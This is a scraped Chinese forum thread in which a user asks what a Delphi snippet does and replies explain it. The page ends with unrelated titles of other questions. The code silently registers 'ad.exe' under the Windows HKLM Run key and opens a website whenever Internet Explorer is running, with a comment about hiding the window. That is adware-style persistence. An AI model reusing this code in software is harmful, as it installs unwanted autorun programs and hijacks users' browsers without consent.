帮忙看下这些代码是什么意思呢?谢谢了。

问题描述

unitUnit1;interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls,registry,ExtCtrls,shellapi;typeTForm1=class(TForm)Timer1:TTimer;Label1:TLabel;Label2:TLabel;procedureFormCreate(Sender:TObject);procedureTimer1Timer(Sender:TObject);private{Privatedeclarations}public{Publicdeclarations}end;varForm1:TForm1;reg:tregistry;hwnd:thandle;implementation{$R*.dfm}procedureTForm1.FormCreate(Sender:TObject);begin//application.showmainform=false//隐藏窗体。这里是演示,就不隐藏了。reg:=Tregistry.create;reg.rootkey:=HKEY_LOCAL_MACHINE;reg.openkey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true);//true应该是覆盖。reg.writestring('scanregistry','ad.exe');//以上三行就是写入注册表的启动项。reg.closekey;reg.free;end;procedureTForm1.Timer1Timer(Sender:TObject);beginhwnd:=findwindow('IEframe',nil);//调用Findwindow函数来查找浏览器是否运行。ifhwnd<>0then//如果浏览器正在运行,那么...shellexecute(0,'open','iexplore.exe','http://www.qq.com,'',SW_SHOWNORMAL);//打开www.hack520.org这个网站,这里shellexecute的用法跟VB的一样。end;end.

解决方案

解决方案二:
这段代码你到底是哪些不明白,也没有个标注。
解决方案三:
这段程序有什么用呢?谢谢。
解决方案四:
应该是程序启动,往注册表启动项里面加入启动'ad.exe'然后,如果浏览器在运行,就打开http://www.qq.com
解决方案五:
引用3楼net_lover的回复:

应该是程序启动,往注册表启动项里面加入启动'ad.exe'然后,如果浏览器在运行,就打开http://www.qq.com

创建窗体然后就是上面的:
解决方案六:
引用楼主xiaosan00000的回复:

unitUnit1;interfaceusesWindows,Messages,SysUtils,Variants,Classes,Graphics,Controls,Forms,Dialogs,StdCtrls,registry,ExtCtrls,shellapi;typeTForm1=class(TForm)Ti……

上部分是:向注册表中写入“键值”下部分是:打开一个“网址”
解决方案七:
create的时候写注册表,要在开机时候运行ad.exe同时如果IEframe运行,打开http://www.qq.com网站。

时间: 2024-08-01 04:20:40

帮忙看下这些代码是什么意思呢?谢谢了。的相关文章

哪位大神帮忙看下这个脚本有什么错误,谢谢

问题描述 哪位大神帮忙看下这个脚本有什么错误,谢谢 #! /bin/sh RUN_COMMAND="/bin/sh " if [["$1" == ""]] then exit fi for x in "$@" do if [[${x:-7}=="libtool"]] then RUN_COMMAND=$RUN_COMMAND' '$x else if [[${x:-11} == "/libgdal

多线程,貌似死锁了,大家帮忙看下

问题描述 多线程,貌似死锁了,大家帮忙看下 我写了个三个类,一个监听服务器类Listener,一个服务请求处理类Handler,一个服务请求类Runner. 想要用Runner发送请求,Listener收到请求后交给Handler处理,Handler再返回一组数据给Runner, 现在Listener收到请求后就执行不下去了,大神们帮忙看下. 代码 Listener.java public class Listener implements Runnable { private static f

jsp-求教:哪位大神帮忙看下代码,本人小白,实在不知道哪里有问题!!

问题描述 求教:哪位大神帮忙看下代码,本人小白,实在不知道哪里有问题!! 代码如下,登陆页面,把java逻辑放到了后台页面上,运行的时候没有报错,但是不跳转.测试账号密码正确不跳转因为没写,但是测试账号密码错误的情况下也不跳转. <%@ page language=""java"" import=""java.util.*java.sql.*info.DataBase"" pageEncoding=""

帮忙看下代码,提示错误:赋值 -- 它是只读的 代码哪里错了?

问题描述 帮忙看下代码,提示错误:赋值--它是只读的代码哪里错了?publicstringgetFileName{get{getFileName="";try{if(((Request==null)==false)){stringwk=Request.Url.LocalPath.ToString();intpos=wk.LastIndexOf("/");if((pos!=-1)){wk=wk.Substring(pos+1);}returngetFileName=w

帮忙看下这段代码,为啥那个afafafa没有打印出来?

问题描述 帮忙看下这段代码,为啥那个afafafa没有打印出来? public class Demoe { public void f() { System.out.println("Throwing MyException from f()"); } public static void main(String[] args) { Demoe aa = null; try { aa.f(); throw new NullPointerException("afafafa&q

雅虎财经数据-麻烦各位大神给看下下面这段代码,运行不起来。请帮忙看下是什么原因(是在Python上运行的)

问题描述 麻烦各位大神给看下下面这段代码,运行不起来.请帮忙看下是什么原因(是在Python上运行的) from matplotlib.finance import quotes historical_yahoo from datetime import date import pandas as pd today=date.today() start=(today.year-1,today.month,today.day) quotes=quotes_historical_yahoo('AXP

编程-跪求大神帮忙看下代码,错了不晓得怎么改哦

问题描述 跪求大神帮忙看下代码,错了不晓得怎么改哦 switch (uMsg) { case WM_CHAR: char szChar[20]; sprintf(_T(szChar),_T( "char code is %d"), wParam); 错误 1 error C2065: "LszChar": 未声明的标识符 IntelliSense: "const wchar_t *" 类型的实参与 "const char *"

语言-新手求帮忙看下这段代码的数据溢出问题,没有C币理解下(我是在CodeBlock10.05下运行的)

问题描述 新手求帮忙看下这段代码的数据溢出问题,没有C币理解下(我是在CodeBlock10.05下运行的) #include #include #include unsigned int Ex_secret[30]={11,4,120,75,170,204,90,59,78,49,//用0~255的数表示8位2进制,一共240位 148,248,190,137,0,9,17,91,174,105,45,124,177,205,57,97,194,155,120,36}; unsigned in

textview-android无法显示地理位置信息,求帮忙看下代码

问题描述 android无法显示地理位置信息,求帮忙看下代码 package com.example.locationtest; import java.util.List; import android.app.Activity; import android.content.Context; import android.location.Location; import android.location.LocationListener; import android.location.L